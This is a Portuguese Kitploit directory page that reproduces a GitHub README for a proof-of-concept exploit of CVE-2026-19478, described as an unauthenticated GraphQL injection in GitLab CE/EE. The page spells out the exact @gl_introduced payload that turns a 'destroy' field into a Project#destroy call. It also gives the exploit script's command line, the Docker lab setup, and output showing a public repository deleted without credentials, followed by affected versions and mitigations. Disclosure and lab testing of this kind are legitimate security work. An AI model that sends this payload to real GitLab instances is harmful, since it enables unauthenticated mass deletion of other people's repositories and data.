Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-19478 — Prova de conceito de exploit para CVE-2026-19478, uma injeção GraphQL não autenticada no GitLab CE/EE que permite invocação arbitrária de métodos e exclusão de projetos. | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-19478
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed Teaming
GitHubeqstlab/cve-2026-19478

CVE-2026-19478

Prova de conceito de exploit para CVE-2026-19478, uma injeção GraphQL não autenticada no GitLab CE/EE que permite invocação arbitrária de métodos e exclusão de projetos.

Ver Repositório
1há 7h 2mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-19478 Exclusão não autenticada de projeto no GitLab GraphQL

★ CVE-2026-19478 GitLab GraphQL @gl_introduced PoC de invocação arbitrária de método não autenticada ★

https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b


Visão Geral

CVE-2026-19478 é uma vulnerabilidade de manipulação/exclusão de dados não autenticada no GitLab CE/EE (CVSS 9.4). O GitLab inclui uma diretiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") para compatibilidade futura em implantações contínuas. Quando uma consulta nomeia um campo com uma versão mais recente que a do servidor em execução, um rastreador o remove antes da validação estática, de modo que a consulta é validada; em seguida, na execução, o campo desconhecido é resolvido por um campo de fallback que não possui resolver. No graphql-ruby, um campo sem resolver é resolvido chamando object.public_send(field_name) — portanto, o cliente pode nomear um campo igual a qualquer método sem argumentos no objeto atualmente resolvido, e o servidor o invoca. Resolver um projeto público e solicitar um "campo futuro" chamado executa, portanto, — excluindo um projeto público (ou modificando dados de usuário) .

destroy
Project#destroy
sem conta, token ou interação do usuário

Versões Afetadas

CategoriaVersão
VulnerávelGitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3
Corrigida18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou posterior

Impacto

  • Modificação/exclusão não autenticada de projetos públicos e dados de usuário
  • Destruição em massa e automatizável de todos os repositórios públicos em uma instância exposta à internet
  • A correção roteia o fallback de campo futuro através de Resolvers::NilResolver (retorna nil, nunca invoca um método)

Ambiente

Compile e execute o GitLab vulnerável. Ele auto-semeia um repositório público victim/demo que você pode excluir sem autenticação. O GitLab leva ~3–5 minutos para concluir a reconfiguração e a semeadura.

root@kitploit:~
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
Pré-condiçãoEstado neste laboratório
GitLab 18.2 – 19.2.319.2.2
Um projeto público acessível anonimamentevictim/demo (semeado)
Endpoint GraphQL não autenticado acessível/api/graphql exposto

PoC

O exploit gitlab_exploit.py exclui qualquer repositório público para o qual você o aponte, sem credenciais. Ele envia o payload @gl_introduced que transforma o nome do campo GraphQL destroy em uma chamada Project#destroy e, em seguida, confirma a exclusão via API REST (404).

root@kitploit:~
# python3 gitlab_exploit.py <ip:porta do alvo> --repo <grupo/nome>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
root@kitploit:~
[*] alvo .......... http://172.17.0.2:3000
[*] ANTES (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200  (existe)
[*] PAYLOAD (sem auth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] resposta ...... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] aguardando a exclusão assíncrona terminar ...
[+] DEPOIS (REST) . GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCESSO - a solicitação NÃO AUTENTICADA EXCLUIU 'victim/demo'. CVE-2026-19478 comprovado.

Opções:

  • --detect — verificação segura e não destrutiva (invoca o método inofensivo to_param em vez de destroy)
  • --repo grupo/nome — alvo qualquer projeto público na instância
  • --insecure — ignora a verificação TLS para alvos https://

Mitigação

  • Atualize o GitLab para 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou posterior
  • Se não puder atualizar imediatamente, bloqueie a diretiva @gl_introduced / o caminho de filtro de versão em um proxy reverso, ou restrinja o acesso não autenticado a /api/graphql
  • Reduza a exposição: mantenha o GitLab fora da internet pública (VPN / proxy de autenticação) e minimize projetos públicos

Análise

  • KR:
  • EN:
Baixar ferramenta